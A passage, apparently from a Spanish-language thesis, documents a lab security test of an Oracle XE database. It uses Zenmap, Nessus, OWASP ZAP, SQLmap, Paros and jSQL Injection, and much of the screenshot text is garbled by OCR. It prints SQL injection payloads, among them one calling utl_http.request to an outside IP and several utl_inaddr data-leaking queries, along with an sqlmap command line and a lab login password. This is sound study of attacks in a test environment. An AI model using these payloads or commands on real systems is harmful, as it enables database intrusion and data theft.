6.2 ENTORNO DE PRUEBA EN ORACLE. Se descarg0 e instal6 base de datos
Oracle Database 11g Release 2 Express Edition de pagina oficial de Oracle. Cuando
se inicia la instalacion se asigna una contrasefia que es utilizada para dos (2)
usuarios para la administraciéon por defecto, SYS y SYSTEM. En la figura 55 se
muestra el resumen de la instalacion de la version Express de Oracle 11g.
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Figura 55. Resumen Instalacién Oracle Database 11g Release 2 Express Edition

Oracle Database 11g Express Edition - Install Wizard

Summary ]
ORACLE

Review settings before proceeding with the installation, CATABASE

EEPRESE BRATION

Current [nztallation Settings:

Destination Folder: C:horaclese’,

Oracle Home: C:horaclexehapphoraclesproducts 172 Dhaervert,
Oracle Baze:C:horaclexeh

Fort for 'Oracle Database Listener: 1521

Fort for 'Oracle Services for Microsoft Transaction Server': 2030
Port for ‘Oracle HTTP Listener': 8080

Fuente: El autor.

Una de las formas mas sencillas de conexion es utilizando la consola de comandos

donde se pueden ejecutar consultas sql como se muestra en la figura 56 accediendo
por SQL PLUS.

Figura 56. Conectado con usuario SYSTEM desde consola
= Run SQL Command Line - 0

[BQL*Flus: Release 11.2.8.2.8 Production on Uie Dic 2 15:4P8:23 Z@ie

opyright (c> 1982, 2018, Oracle. All rights reserved.
FQL> connect SYSTEM-/marbizszaid

Fuente: El autor

Otra forma de conexién de Oracle es en entorno web mediante el puerto 8080 que

permite crear aplicaciones. En la figura 57 se muestra los parametros de
configuracion en el entorno web.
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Figura 57. Conexién de Oracle en entorno web

ORACLE Oace Databass XE 112

e -

a - o
. Tmmd:w @ %

Ealii i
el Na dast TN Al | OO e T AT A T

CEMATII
otk LA AU PR A £ LEnDR vl D D T . DR

i RODAL N FUTIOE INE

w8 i

mrr |

dAgroas_oae

dnpuita

Tan A ACUDAIPTORA S LOP SOUTTH 2 S AT LI  for

Fuente: El autor

Con el fin de dar continuidad y observar las diferencias entre motores de base de
datos se migro la base de datos del entorno de prueba uno de MySql a Oracle XE
para eso se utilizé sqgldeveloper como se indica en la figura 58, mediante esta
herramienta se importa la base de datos.

Figura 58. Migracion de MySql a Oracle con SqlDeveloper

Conexiones @ Pagina Inicial Conn_XE
4 - W@ ¥ 5= bEO-ae 28
Eﬂ Conexiones Hoja de Trabaio Generador de Cons

B conHCLINICAS
R, conn_mMysql
a Conn_UsrMysqgl
-E&] Conn_xE

Informes
[
Migracion
B hEm O

% Proyectos: Conn_XE
=2 DB_SICMEL
23y 2017-04-24_15-08-23
% Objetos Capturados de la Base de C
Elréﬁ Objetos de Base de Datos Conwertic
=B MysaL
=@ tesisok
=-{F3 Tablas

- EH categoria
- cudad
0--fEH clientes
#-fEH contrato
15 devoludones
+1--fEH equipos
o5 especificacion
15 materiales
o155 materiales_has_eq
--fEH materiales_has_prc
- personal S 4
--FEER procesos Progreso de Tarea
- proveedores
--fEH tipo_producto
o1--fEH usuarios

Fuente: El autor.

(i i )

) B e e - - - -
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Una vez migrada la base de datos se genera y verifica el modelo entidad relacion
para la base de datos en estudio de la empresa Electroduitama. En la figura 59 se
muestra el modelo generado en Oracle.

Figura 59. Modelo Entidad Relacion en Oracle

Fuente: el autor

6.2.1 Pruebas de escaneo y vulnerabilidad sobre Oracle. Una vez instalada y
configurada la base de datos de Oracle se utilizé la instalacion de la maquina virtual
de Kali Linux, con las herramientas Zenmap, Nessus y Hexorbase para las pruebas
de escaneo y vulnerabilidad a la base de datos.

6.2.1.1 ZENMAP sobre Oracle. Se utiliz6 nuevamente la herramienta Zenmap y
se realiza escaneo de la maquina con el servidor web de Oracle con el fin de
detectar puertos abiertos. La herramienta provee informacion detallada, en la figura
60 se muestra el escaneo de 1000 puertos de los cuales 14 estan abiertos dentro
de los cuales esta el puerto 1521 del listener de Oracle y el puerto 8080 para la
conexion httpd, de igual manera la herramienta reporta 986 puertos cerrados.
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Figura 60. Escaneo con zenmap sobre maquina con Oracle

Zenmap e oo Zenmap e e e
Scan Tools Profile Help lelp
Target: |192.168.0.6 v | Profile: [intense scan ¥ | |Sean| v | Profile: [intensescan | v | [Scan
Command: |nmap -T4 -A -v 192.168.0.6 A -v 192.168.0.6

Host Detail
Hosts | SEN\[ES‘ Nmap Output  Ports / Hosts | Topology | Host Details | Scans Nmap Output | Ports / Hosts | Tapology Host Details | Scans

O0S  Host v v (SRR Port  Protocol State  Service Version
VRESISES k © 80 open it Microsoft IS httpd 10.0
State: T "’ v? 135 tep open msrpc Microsoft Windows RPC
2{1::;0‘::& iq @ 139 tep open :netbios-ssn Microsoft Windows netbios-ssn
Closed ports: 986 Q 445 ‘tep open :microsoft-ds  Windows 10 Pro 14393 microsoft-ds
Scanned ports: 1000 @ 1521 itep open oracle-tns Oracle TNS Listener
Up time: 312990 ‘ @ 2701 ‘tep open cmrcservice Microsoft Configuration Manager Remote ¢
Last baot: Wed Dec 6 08:44:35 2017 © 12869 ‘tcp open  “http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
¥ Addresses @ 3389 ‘tep open  :ms-wbt-server
IPvd: 192.168.0.6 @ 5357 itcp open - http Microsoft HTTPAPI hitpd 2.0 (SSDP/UPnP)
IPv6: Not available @ 5432 itep open postgresql
MAC: C4:D9:87:4D:B0:43 @ 8080 tcp open http Oracle XML DB Enterprise Edition httpd
V Operating System @ 8192 ‘tep open - sophos Sophos Message Router (Interroperable C
Name: Microsoft Windows 10 build 10074 - 10586 @ 8193 tcp open tcpwrapped
Accuracy: _ @ 8194 tcp apen  giop omg.org CORBA naming service

Fuente: el autor.

6.2.1.2 NESSUS sobre Oracle. Se instalé y configuré Nessus. Se descarg6 de la
pagina  oficial  http://www.tenable.com/products/nessus/select-your-operating-
system#tos y se instala desde la consola de kali, luego se inicia el servicio de
Nessus como lo indica la figura 61 donde se muestra la instalacion de la
herramienta.

Figura 61. Instalacion e inicio de servicio de Nessus

root@kali: ~/Escritorio e ® 0
Archivo Editar Ver Buscar Terminal Ayuda

Esc io# dpkg -1 Nessus-6.9.1-debianb i386.deb
Selecc‘onando el paquete nessus previamente no seleccionado.
(Leyendo la base de datos ... 304065 ficheros o directorios instalados actualmen
te.)
Preparando para desempaquetar Nessus-6.9.1-debiant 1386.deb ...
Desempaquetando nessus (6.9.1)
Configurando nessus (6.9.1)
Unpacking Nessus Core Components...
nessusd (Nessus) 6.9.1 [build M20©71] for Linux
Copyright (C) 1998 - 2016 Tenable Network Security, Inc

Processing the Nessus plugins...

All plugins loaded (lsec)

- You can start Nessus by typing /etc/init.d/nessusd start
- Then go to https://kali:8834/ to configure your scanner

Procesando disp adores para systemd (231-4)
:~/Es ol /etc/init.d/nessusd start

Starting Nessus
. Fer

Fuente: el autor
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En la figura 62 se muestra la creacion del usuario nessusMarbiz, se registra el
codigo de activacion y se inicia Nessus.

Figura 62. Instalacion e inicio de servicio de Nessus

Account Setup I Nessus

nooeoar bo log in fo this scanner, & "System Administrator acoourt mest ba argaled. This usar bas Full contral of the

scanner—with the abilily fo createddeleie users, stop running scans, and change the soanner configuration
Usarname nessus Marbiz
Passwarnd EREEEREERE
Confimn Fassword EEEEE R

Fuente: el autor

En la figura 63 se muestra la configuraciéon del escaneo con Nessus, el cual va
dirigido hacia la maguina donde se encuentra instalado Oracle y donde se detecto
el puerto 1521 por defecto de Oracle.

Figura 63. Preparacion Nessus para escaneo

Messus Home § Scans [ Editer - Mozilla Firefox e e e
Kall Limux, 2 Offen.. x [ 00 Messus Home £ x | Tenable Custo.. x| € Download Mess.. = | & (47 no lefdos) - .. x *
€ 5@ hitps ikl cansinenaiself-030E-Bcld-cele- o |9 Sean ire @ 4+ & =
S Most Visited v [l Oensive Security ", Kali Linue S, Kali Docs S Kali Tocls ENExploi-DB W Aircrack-ng

Prdazhens

Mew Scan / Advanced Scan

Soan Library > Seflings Credentizls Flugns
BazIC . General
General *
. i T Escanoovulncrab ldados
=redan
Hat | |l
Desadption Bam0R 2% ERIRMA £ SO 19 kA
CABGOVER
ASGCESMINT
REPOHT Fodor My Seang -
ADWAMEED
Tagetn 182 166.0.5

Fuente: el autor.
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Se efectua el analisis a la maquina con la base de datos de oracle arrojando como
resultado 64 resultados de los cuales se detectan 1 vulnerabilidad alta, 3
vulnerabilidades medias y 49 a manera de informacion como se muestra en la figura
56.

Figura 64. Preparacion Nessus para escaneo

nessusidarbiz

EscaneoVulnerabilidades Gorligure | A Trail Lawgn Egoll - -
Spans > Hosts n Vulnerahilrios lis2ony
Hosl Vulneabiltes « Sran Details

Slalus Complied
Palicy: Advarncad Scan
Scanner. Lugal Scanner
Folder. Ky Soans
Hiart Today af 1243 &M
End: Today al 12:50 &M
Elapmad: & mireies
Targela 182.160.0.5

Vulnerabilities

High
Medium
® Info

Fuente: el autor.

En la figura 65 se muestra el resumen de las vulnerabilidades encontradas y
catalogadas por Nessus como altas y medias entre las cuales se destaca el servicio
web de Oracle a través del puerto tcp/8080. Desde Nessus se pueden generar
reportes en pdf, Excel, html con el resumen de los resultados obtenidos y con las
posibles soluciones a implementar.
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Figura 65. Resumen Vulnerabilidades detectadas con Nessus

EscaneoVulnerabllidades Coigae | A Tral T aprt v
Haosts : 18216805 * Vulnershilitiss u
Savmsity = Phagin Mars Courd Hoal Details
Ohac e THES Lrsbist Riarmots Polsomicy L IF P82 pa.0.b
A [T O T R
SWE Signing Dimabled 1 05 Micrnaos Yindvees 5.1 Enfepras
Blat Todday at 1243 &AM
S50 Corthicaln Cannot Ba Trusted 1 End Tedday ot 3 43 AN
Flagrad 8 minies
SEL Safl-Bigreed Canfizone L

Fuente: el autor

6.2.1.3 HEXORBASE sobre Oracle. Se utiliza nuevamente la herramienta
Hexorbase de Kali Linux para realizar ataque de fuerza bruta a Oracle, en la figura
66 se observa la pantalla de inicio donde indica que la APl de Oracle no se
encuentra instalada, razon por la cual no se utilizd esta herramienta.

Figura 66. No disponible Hexorbase sobre Oracle

HexorBase [— I < ]

Datarse Servers

PostgreSQL
m ORACLE' (0 )
MySaL ‘ )
MySQLdb version: 1.3.7 final APl is not Installed Psycopg 2.3.2
SQL“'& SGL Server
S50lite version: 2.6 Pymssql 1.0.2
Administration
f Username: | |
Password: | |
h

A
A"
Lock as Default Login
“..)) | H e

Audit Database Servers

‘ z Bruteforce Database Servers ‘

Fuente: el autor.

-
‘ @ Password Manager
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6.2.2 Prueba de Inyeccion SQL sobre Oracle. Una vez identificado el acceso al
puerto de comunicacibn con MySQL, asi como el resultado positivo de
vulnerabilidades con Nessus, se utilizaron cuatro herramientas para hacer las
pruebas de ataque de inyeccion SQL: Owasp Zap, SQLmap, Paros y Jsgl Injection
obteniendo resultados positivos con excepcion de Jsgl Injection que después de
varios intentos no mostré ningun resultado.

6.2.2.1 OWASP ZAP sobre Oracle. Teniendo en cuenta las vulnerabilidades
encontradas referentes al servicio web de Oracle ejecutandose, se utilizé el ataque
pasivo de Owaspzap para Inyeccion SQL, para eso se configuré el navegador para
conectarse mediante proxy como se muestra en la figura 67.

Figura 67. Configurar navegador con conexion a proxy sobre Oracle

Connection Settings [ ]

Configure Proxies to Access the Internet
) No proxy
) Auto-detect proxy settings for this network
_) Use system proxy settings

@® Manual proxy configuration:

HTTP Proxy: | 127.0.0.1 | Port: | 8080 |*

[~ Use this proxy server for all protocols

SSL Proxy: ' | port: | ot
ETP Proxy: ' | Port: I 0t
SOCKS Host: | | Port: | E

JSOCKS v4 @ SOCKS v5 []Remote DNS
No Proxy for:

| localhost, 127.0.0.1 |

Fuente: el autor.

El owaszap se configuré para funcionar como proxy local, en opciones de
configuracion como se muestra en la figura 68.
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Figura 68. Ejecucion de OWASP ZAP sobre Oracle

Sesién sin Nombre - OWASP ZAP 2.5.0 &
Opciones [ i

Breakpoints s 3
Buscar - l
Certificado Proxy local
Certificados S5L Dindmi b
Comprobando actualiza Address (eg localhost, 127.0.0.1) localhost i
Conexién |
o Puerto (e]. 8080) 8080 [ 4]
Encode/Decode |
Escaneo Activo Establece |a configuracion. Los puertos http y https tienen que ser los
Escaneo Pasivo mismos que los de arriba.
Extensions (Y] Modify/Remove "Accept-Encading" request-header
Fuzzer (¥] Aways unzip gzipped content
Global Exclude URL (Bet:
HTTP Sessions Security Protocols
MM
Keyboard [[) sslvaHello ) ssL3 M) TLS 1 W) TLS 1.1 ) TLS 1.2
Lenguage
Mostrar

Navegacién Predefinida
Passive Scan Rules
scripts
Selenium I
Spider(Arafia)
Statistics
Tokens anti CSRF
WebSockets
Zest

L

Cancelar | | Aceptar

Fuente: el autor.

Al intentar ingresar al entorno web de Oracle se solicita usuario y contrasefia, estos
datos son ingresados con el fin de detectar los parametros post o get del formulario
web como se muestra en la figura 69.

Figura 69. Ingreso a entorno web de Oracle

] Login x|\ *
€ 192.168.0.5: Seart b=

S Most Visited v JllOffensive Security % Kali Linux “Kali Docs % Kali Tools [BExploit-DB W Aircrack-ng

Login

Username |SYSTEM

Password [eesescssce Login

Login s a database user which has been granted the DBA database role (for example, SYSTEM).

Fuente: el autor.

Una vez ingresados los datos al sitio web, owaszap detecta las posibles
vulnerabilidades y muestra el resumen en el arbol de consulta y el resumen de las
alertas encontradas agrupadas por nombre. En la figura 70 se muestra una posible
vulnerabilidad por inyeccion SQL mediante el método POST, en donde se estan
recibiendo los argumentos de respuesta del servidor para el usuario y contrasefa.
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Figura 70. Resultado obtenido con OWASP ZAP sobre Oracle

Sesion sin Nombre - OWASP ZAP 2.5.0

Archivo Editar Ver Analizar Reporte Herramientas Online Ayuda

@0

Modo estandar =) | | Ld ke B0 5 i

O 98 OODE'aV P roXEwE e

@ Sitios | 4

{ % Inicio Rép\doT'iD Peticion T Respuesta+ | 4

B B8

@EEO |Header: vista Raw ‘-] | Cuerpo:vista Raw
v (5 contexts A1 [POST http://192.168.0,5:8080/apex /wwv_flow.accept HTTP/1.1

K] Default Context M User-Agent: Mozillas5.0 (¥11; Linux i686; rv:45.0) Gecko/20100101
v @ P sitios Firefox/45.0

Y P http:/f192.168.0.5:8080
v P apex

Accept: text/html,application/xhtnl+xnl,application/xnl;q=0.9,%/*;
q=0.8
Accept-Language: en-US,en;q=0.5

:

v

|| ®GET:f(p)
| POST:wwv_flow,accept(p_flow_id,p_flow_;

B ™ PoST:wwv flow.accept(p_arg names,
¥ httpi/fwww.oracle.com
¥ Pocom

EAN o

T

p_flow_id=4950°p_flow_step_id=101:p_instance=1229746969829085
_page_submission_id=39577326454764205p_request=L0GIN:p_arg_names=

9368739187308599545p_t01=SYSTEM:Lp_arg_names=9368740254798599565p_t02

—narbizsaidip_md5_chpcksun-

[ ™ Histeria T C Buscar T U Alertas tT - Salida T # Spider(Arafia) | ) Escaneo Activo | 4

@ e

¥ (& Alertas (6)

» i ™ application Error Disclosure

» (5 P X-Frame-Options Header Not Set (3)

» [ 7 cookie No Httponly Flag (2)

» (E 7 Private IP Disclosure

> (5 1 web Browser XS5 Protection Not Enabled (2)
» [ Fu X-Content-Type-Options Header Missing (3)

Fuente: el autor.

escripcion:

This page contains an errorjwarning message that may disclose
the location of the file that produced the unhandled exception.

Otra info:

'Y
-

|/

Se realiza la prueba de inyeccion SQL utilizando los parametros de usuario y
contrasefa, configurando el payload por defecto de Owaspzap como se indica en la

figura 71.

Figura 71. Payload de inyeccion SQL de OWASP ZAP sobre Oracle

T
Fuzzer
Fuz Locations Add Payload (> ]
Header: Vista Raw | 7] |Cus "% i Sz 5
Archivos; | ¥ [¥]SQLInjection s

POST http://192.168.0.5: B0
User-Agent: Mozilla/5.0 (X
.0

Accept: text/himl,applicat
Accept-Language: en-US,en;
Referer: http://192.168.0.
Connection: keep-alive
Content-Type: application/:
Content-Length: 223

Host: 192.168.0.5:8080

Payloads Preview:

p_flow_id=4950:p_flow_step,

._page_submission_id=39577.
0368739187308599545p_t01-5]
marbizsaidop_mdS_checksum=

[ Active 5QL Injection

[Ms SQL Injection i

M MS SQL Ninja Injection (Blind)
[JMysQL Injection (Blind)

[JMySQL Injection 101
DMySQL.FMS SQL Common Injection
W oracle SQL Injection

[Passive SQL Injection

[ s0L Injection v
Iy
Oracle SQL Injection

1: orl=l
2:'or'l'="1
3: '[|utl_http.request(*httP://192.168.1.1/)||'
4: ' || myappadmin.adduser(‘admin’, ‘newpass’) ||
S: ' AND l=utl_inaddr.get_host_address((SELECT banner]|
6: ' AND l=utl_inaddr.get_host_address({SELECT SY¥S,LO
7: ' AND l=utl_inaddr.get_host_address((SELECT S¥S.DA
8: ' AND 1=utl_inaddr.get_host_address{(SELECT host_n
9: ' AMD l=utl_inaddr.get_host_address((SELECT global_
10: ' AND 1=utl_inaddr.get_host_address((SELECT COUN
11: ' AND 1=utl_inaddr.get_host_address({SELECT COUN
12: ' AND 1=utl_inaddr.get_host_address{(SELECT COU

N
;' AND 1=u A
>

Cancelar Afiadir

o

Fuente: el autor.
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Se ejecutd el ataque de manera satisfactoria y se obtuvo como resultado 28.561
sentencias ejecutadas de las cuales fueron positivas 13 como se indica en la figura
72.

Figura 72. Resultados de ataque con Inyeccién SQL sobre Oracle

@HNEE | Header: Vista Raw q | Cuerpe:vista Raw q 'j =
¥ P http://192.168.0.5:8080 | [WTTR/1.1 464 Not found
¥ [apex Server: Oracle XML DB/Oracle Database
7 P GET:H(p) Content-Type: text/html

| | POST:www flow.accept(p_flow id.p_flow :

|| P GET:wwv_flow.accept

>

[
v P Retpfiwww, oracle.com < ~404 Not found</TITLE>
v E mocom </HEAD=<BODY=<HL>Not found=/H1=

The requested URL fapex/wwv_flow.accept was not found on t
¥| [server</BODY=</HTML=

! DOC TVFE HTHL PUBLIC "-//IETF//0TD HTML 2.0//EN"=

Y. Pgroups

<X =  A— LD
{ = Historia T\ Buscar T [0 alertas I Salida I* Spider(Araria) T ) Escaneo Activo I @ Fuzzer # % | 4
4w New Fuzzer ' Progreso: {U: HTTP - http://192.1 68, wwv flow.accept q il N 10t < Current fu
vlessages Sent: 28561 Errors: 0 .. Show Errors
Task D | Mess... |Code |Reason | RTT | Size Resp... | Size Resp. B... |Highe... |Estado ¥ | Payloads
Not found 1. s 209 bytes # Reflected a, ' -- &password=
3.020 Fuzed 404 Not found 1. 90 bytes 209 bytes . Reflected a, ' - &password=
5.386 Fuzed 404 Not found 1. 90 bytes 209 bytes . Reflected a, ' - &password=
24,684 Fuzed 404 Not found 8.. 90 bytes 209 bytes . Reflected ' - &password=, a
24,692 Fuzed 404 Not found 6. 90 bytes 209 bytes . Reflected ' - &password=, a
24,706 Fuzed 404 Not found 5. 90 bytes 209 bytes . Reflected ' - &password=, a
24,828 Fuzed 404 Not found 9.. 90 bytes 209 bytes . Reflected ' - &password=, a
26,004 Fuzed 404 Not found 1. 90 bytes 209 bytes . Reflected a, ' - &password=
4,541 Fuzed 404 Not found 1. 90 bytes 209 bytes . Reflected 1, ' - &password=
Alertas 0 (42 (14 PO /1y ZAP out of date! Escaneo actual 430 &0 A0 @0 #o

Fuente: el autor.

6.2.2.2 SQLMAP sobre Oracle. Con el fin de confirmar y aprovechar las
vulnerabilidades de inyeccion SQL detectadas, al igual que se hizo en el entorno de
MySQL, se utilizé6 SQLMAP. En la figura 73 se muestra la configuracion para realizar
la inyeccion SQL a través de SQLMAP, ademas se refleja el resultado de la no
posibilidad de realizar una inyeccién, aunque se atacé mediante la insercién de los
pardmetros detectados con owaspzap, la base de datos no permitio la explotaciéon
de la vulnerabilidad.

Figura 73. Ejecucion de SQLMAP sobre Oracle

root@Kkali: ~ e 9

Archivo Editar Ver Buscar Terminal Ayuda

~# sqlmap -u "http://192.168.0
:NO" --data="p_flow id=4950&p flow step
ge subm1551cn 1d=3957732 54764403 arg_|
&p tO1=SYSTEM&p arg names=9368740£5479859956&p t02=marbizsaid&p md5 checksum="

__ {1.9.8.2#dev}

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual|
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon|

sible for any misuse or damage caused by this program

rting at 22:54:48

Fuente: el autor.
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Una vez confirmado los parametros insertados como no vulnerables, SQLMAP
realiza otras sentencias con el fin de recuperar mas datos sobre la base de datos
Oracle como se muestra en la figura 74.

Figura 74. Ejecucion de sentencias de inyeccion SQL con SQLMAP sobre Oracle

root@kali: ~ Qe e

.k‘fchivo Editar Ver Buscar Terminal Ayuda

[23:00:37] [CRITICAL] previous heuristics detected that the target is protected
me kind of WAF/IPS/IDS

ow do you want to ﬁroceed? [(C)ontlnue/(s)trlng/(rjegex.’(q)un] c

[23:00:54] [WARNING] heuristic (basic) test shows that GET parameter 'p' might n|
ot be injectable

Fuente: el autor.

Finalmente, en la figura 75 se muestran los resultados de la inyeccion realizada
indicando que los parametros insertados no son inyectables, terminando asi la
sesion de SQLMAP sobre Oracle.

Figura 75. Resultados de la ejecucion de inyeccion SQL con SQLMAP sobre Oracle

root@kali: ~ Qe 9‘

Archivo Editar Ver Buscar Terminal Ayuda

[23:01:08] [CRITICAL] connection dropped or unkncwn HTTP status rode received.
HTTP U th -1

] GET parameter 'p' is not injectable
1 2d leters appear to he not J.n]e
perform more tests. Als

y \e kind of prote:tmn
m1,he you mlﬂd retry with an option '--tamper' (e.g. '--tamper= npﬂeuomment )

Fuente: el autor.
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6.2.2.3 Paros sobre Oracle. Se utilizé la herramienta Paros también sobre Oracle,
en la figura 76 se muestra la configuracién como proxy de la herramienta.

Figura 76. Configuracion de Paros sobre Oracle

Untitled Session - Paros o @

Eile Edit View Analyse Report Tools Help

Sites k- Reaquest | Resnonse Tran "
Sites Options (<]

¥ Options Local proxy
Connection ] ey

—
Authentication Address (eq localhost, 127.0.0.1) localhost |
Certificate
View Port (eg 8080) 8080 |
Trap
Spider

Set your browser proxy setting using the above. The http
port and https port must be the same port as above.

Scanner

I%/ Cancel I

History Spider Alerts | Output

Fuente: el autor.

Una vez realizado el analisis se observa que tiene vulnerabilidad para ataque de
inyeccion SQL sobre los parametros de ingreso de sesion al sitio web, mediante la
peticion POST en los parametros del formulario de captura de datos del usuario
como se muestra en la figura 77.

Figura 77. Ejecucion de Paros sobre Oracle

Untitled Session - Paros e ® 0

File Edit View Analyse Report Tools Help

Sites Request | Response | Trap

v Sites POST http://172.16.25.67:8080/apex/wwv_flow.accept HTTP/1.1 &
Host: 172.16.25.67:8080

v hitp://172.16.25.67:8080 User-Agent: Mozilla/s.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/4s.
GET:favicon.ico 0 Paros/3.2.13
Accept: text/html application/xhtml+xml, applicationsml:g=0.9, %*q=0.8
v apex Accept-language: en-US,en;g=0.5

GET:f(p) Referer: http://172.16,25.67:8080/apex/f?p=4950:6:1590968247811715:NO v
POST:wwv_flow.accept(p_arg_na p_flow_id=4950&p_flow_step_id=101&p_instance=1590968247811715&p_pag

g | 'e_submission_id=708495516278383&p _request=LOGIN&p arg names=936873

O BTN {08 (RS P ERTIPERY 01 —systemap arg names=536874025479859956&p t02=]
marbizsaidé:p mdS checksum=|

» http://www.oracle.com

e 5 ||| Raw View v
1 GET  http:/172,16.25.67:8080/favicon.ico 401 Unauthorized 53ms -
3 GET http:#/172.16.25.67:8080/apexf?p=4950:1 302 Found 211lms
5 GET http:#/172.16.25.67:8080/apex/f?p=4950:1:159096824 7811715 200 OK 14lms
6 GET  http://www.oracle com/rss/rss_ocom_corpnews.xml 302 Moved Tem... 201ms
9 GET  http://www.oracle com/ocom/groups/public/@otn/documentsiweb... 302 Moved Tem... 160ms
16 GET  http://www.oracle.com/rss/rss_ocom_corpnews.xml 302 Moved Tem... 1235ms
17 POST http://172.16.25.67:8080/apex/ww_flow.accept 302 Found 35ms
18 GET http:#/172.16.25 080/apex/f?p=4950:6:1590968247811715::... 200 OK 75ms
http://172.16. 080/apexiwwy flow.accept 302 Found S
20 GET http://172.16.25.67:8080/apex/f?p=4950:6:1590968247811715::... 200 OK 1566ms

48 GET http://172.16.25.67:8080/ifjavascript/apex_interactive_reports_4_... 200 OK 2282ms

History | Spider Alerts Output

Fuente: el autor.
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La herramienta Paros también contiene una utilidad llamada spider que permitio
visualizar otras paginas del sitio susceptibles a ataque por inyeccion SQL, en la
figura 78 se muestra la opcioén spider reflejando los resultados.

Figura 78. Resultados ejecucion Spider de Paros sobre Oracle

Untitled Session - Paros [— O |
File Edit View Analyse Report Tools Help

Sites Request | Response  Trap
v Sites GET http://172.16.25.67:8080 HTTP/1.1

» http://172.16.25.67:8080

» hitp://www.oracle.com | Raw View =

URI found during crawl:

http://172.16.25 67:8080/apex/f?p=4950:1:159096524 7811715 1
http://172.16.25. 67: 8080/apexfwwy_flow_custom_auth_std. logout?p_this_flow=49508&p_next_flow_page_sess=4950:1

hittp://172.16.25 67:8080/apex/f?p=4950:1: 159096524 7811715:::::

hittp://172.16.25 67:8080/apex/f?p=4950:6:1590968247811715::NO::

hittp://172.16.25 67:8080/apex/wwy_flow.accept

http://172.16.25.67: 8080/apex/wwy_flow. accept

http://172.16.25.67:8080/apex/wwv_flow. accept

hittp://172.16.25.67:8080/apexfPp=4950:1

http://172.16.25.67:8080/apex/wwv_flow. accept

hittp://172.16.25.67:8080/apex/f?p=4950:1:366866345720448

http://172.16.25.67: 8080/apex/wwy_flow.accept

http:#/172.16.25.67:8080/apex/frp=4950:1:952756552649902

htte://172.16.25 67:8080/apex/wwy flow accent 1

URI found but out of crawl scope:

javascript:gReport. controls. computation(); i
http: fiwww w3.org/TRxhtmI1/DTD xhtm1-strict dtd

http: fiwww w3.org/1999/xhtm|
http:ffhtmidb.oracle com

http:ffapex oracle com

javascriptwindow. history. go(-1)

http: /fwww. oracle. com/pls/xell2/hemepage
http: /fapex. oracle. com/pls/apex/fip=44785:1
http:/fotn. oracle.com

oracle. com/technetwork/developer-

rarla camitachnstunarkldstahacs o

Fuente: el autor.

nloads/index htm|
ade finde kbl

En la figura 79 se muestra la pestafia alerta de la herramienta Paros, alli se pudo
identificar de manera agrupada por nivel alto, medio y bajo las diferentes
vulnerabilidades que tiene el sitio en especial la de inyeccion SQL.

Figura 79. Resultados Inyeccion SQL de Paros sobre Oracle

Untitled Session - Paros
File Edit View Analyse Report Tools Help

Sites Request | Response | Trap
4 ||GET http://172.16.25,67:8080 HTTP/1.1

GET:favicon.ico
< I
¥ Alerts
¥ High
v SQL Injection

e [Raw View v

&p_lang=ja%20AND%201=1
http://172.16.25.67:8080/apex/f?p=4950:1:952756552649902:::: INJECTED_PARAM&p_lang=ja
http://172.16.25.67:8080/apex/wwv_flow.accept

v SQL Injection Fingerprinting

v Low
» Private IP disclosure
* Medium
» Directory browsing
» Lotus Domino default files
» Parameter tampering
» Password Autocomplete in browser

Fuente: el autor.
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En la figura 80 se muestra la opcidon que tiene Paros para generar reportes sobre el
escaneo realizado y sobre la inyeccion SQL que se pudo realizar sobre Oracle.

Figura 80. Reporte de Paros sobre Oracle

Paros Scanning Report - Mozilla Firefox @ e
[ Parameters * | Paros Scanning Report x \ *
file://froot/paros/session/LatestScannedReportOracle.htm & Search wBe 9 ¥ # =

[ Most Visited v Jll Offensive Security e Kali Linux " Kali Docs " Kali Tools EBExploit-DB Wy Aircrack-ng

High (Suspicious) SQL Injection Fingerpri

ng
Description SQL injection may be possible
URL hitp://172.16.25.67: p=4950:1:95: 122 INJECTED_PARAMEp lang=ja
Parameter p=4950:1:952756552640902::::- INJECTED_PARAM&p_lang=ja
‘Other information sql
Solution Do not trust client side input even if there is client side validation. In general,
 If the input string is numeric, type check it
* If the application used JDBC, use P or C: with passed by 7"
* If the application used ASP, use ADO Command Objects with strong type checking and parameterized query

If stored procedure or bind variables can be used, use it for parameter passing into query. Do not just concatenate string into
query in the stored procedure!

Do not create dynamic SQL query by simple string concatentation.

Use minimum database user privilege for the application. This does not eliminate SQL injection but minimize its damage. Eg if
the application require reading one table only, grant such access to the application. Avoid using ‘sa’ or 'db-owner'.

Reference The OWASP guide at http:/Avw owasp.org/documentation/guide
hitp:/Avn sqisecurity. com/DesktopDefault. aspx?tabid=23
http:. QLInjection. pdf

For Oracle database, refer to http:/fwwintegrigy. QL pdf

fign (suspicious)

Description SQL injection is possible. User parameters submitted will be formulated into a SQL query for database processing. If the query is built
by simple 'string concatenation’, ft is possible to modify the meaning of the query by carefully crafting the parameters. Depending on the
access right and type of database used, tampered query can be used to retrieve sensitive information from the database or execute
arbitrary code. MS SQL and PostGreSQL, which supports multiple statements, may be exploited if the database access right is more
powerful.

6.2.2.4 JSQL INJECTION sobre Oracle. Se utilizé también la herramienta de
KaliLinux jSQL Injection para realizar otro ataque a la base de datos de Oracle. En
la figura 81 se observa el panel principal de la herramienta, en la parte superior se
ingresa la direccion del sitio web a atacar, en la parte inferior se selecciona el tipo
de base de datos, para este caso Oracle y se efectla el proceso de inyeccion.
Figura 81. Ejecucion de jSQL Injection sobre Oracle

jsaL Injection o0
http://152.168.0.6:8080/apex/f?p=4950:6:4111644575903698::NO > |-

) Database | (£ Admin page | (£ File »

No database

3

Bl console | £ Chunk  [mi Binary % Metwork -
[00:33:14,119] 350L Injection w8 74 on java 1 8.0_102-1386
[00:33:15,367] An error occured while checking updates, downlead the latest version from official website
https //github con/ron190/3sal-injection/releases
[00:42:53,076] Starting new injection
[00:42:53,976] Connection test.
[00 42:54,017] Get insertion character
[06:42:54,023] Time based test
[00:42:57,254] Blind test
[00:42:57,653] Error based test
[00:42:57,685] Normal test
[00:42:59,733] Injection failed
[00:43:50,557] Starting new injection
[00:43:50,557] Connection test
[00:43:50,579] Get insertion character
[00:43:50,579] Tine based test
[00:43:57,430] Blind test
[00:43:57,703] Error based test
[00:43:57,711] Normal test

oracle [~ - @ TimeBased

Current db - @ Blind
Current user - @ ErrorBased
Authenticated user - @ Normal

Fuente: el autor.
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Después de varios intentos con la herramienta, y los posibles comodines para
inyectar codigo SQL la inyeccion falla como se muestra en la figura 82.

